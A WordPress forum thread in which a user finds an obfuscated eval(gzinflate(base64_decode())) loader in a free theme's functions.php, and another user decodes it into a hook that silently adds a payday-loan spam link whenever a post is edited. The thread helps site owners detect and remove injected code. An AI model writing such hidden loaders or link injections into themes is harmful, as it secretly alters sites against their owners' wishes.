Suspicious code in free theme?

  • adamsmark

    (@adamsmark)


    17 years, 1 month ago

    This is what I found in the functions.php file:

    <?php
if ( function_exists('register_sidebar') )
    register_sidebar(array(
        'before_widget' => '<div class="sidebar-box">',
        'after_widget' => '</div>',
        'before_title' => '<h3>',
        'after_title' => '</h3>',
    ));

$S5c05e408cc05f5875fa5d0c8d747bbd5='dY/BasMwEETPNvgflqUQCZK65xbnYlx6aBtIUnoUG0uJRW1JSEqDKf33xmp6Cr0tO29nZoucpBTURm0NQyV1FM6GiHPUJigfRezUoESvzQfyhyLfH01i4UpmHL6KPDv0dkc93Jyc3J35TO9ZmhfLg4rikzzDTfPc1FuoV2+vWzadCi05PK5XL3BBp2WA96dm3UACjr6vZl2M7r4sgzW6XTgaJY23rR3KGfKquuPnsOzkxKVYqkTe08gwWRgaFEK1BNxMBjWFDueAf/a/0n8RCHz6/rvIfwA=';eval(gzinflate(base64_decode($S5c05e408cc05f5875fa5d0c8d747bbd5)));
?>

    What is all this at the end of it?

Viewing 4 replies - 1 through 4 (of 4 total)
  • Michael Fields

    (@mfields)

    17 years, 1 month ago

    Pretty shady stuff, When you decode this, you end up with:

    add_action("edit_post","insert_theme_link");

function insert_theme_link() {
	global $wpdb;
	if( $wpdb->get_var("SELECT COUNT(link_id) FROM $wpdb->links WHERE link_url='http://sonic-payday.com/'") == 0 )
	wp_insert_link( array("link_name" => "SonicCash", "link_url" => "http://sonic-payday.com/" ) );
}

    This function attempts to ensure that you always have a link to sonic-payday.com in your links section. Feel free to delete it, unless you always want a link to this site 😉

    Thread Starter adamsmark

    (@adamsmark)

    17 years, 1 month ago

    Thanks for the advice. Already deleted it, just copying the functions.php from another of my WordPress blogs. The same was inserted in the footer. Checked through every theme file; it’s now clean. Thanks.

    Michael Fields

    (@mfields)

    17 years, 1 month ago

    No Problem, Which theme is it BTW?

    Thread Starter adamsmark

    (@adamsmark)

    17 years, 1 month ago

    Old Tape, featured here: http://rockonthemount.com/

    I’m old enough to remember mix tapes, so this one appealed to me. Don’t know how long we’ll use it though.

Viewing 4 replies - 1 through 4 (of 4 total)

The topic ‘Suspicious code in free theme?’ is closed to new replies.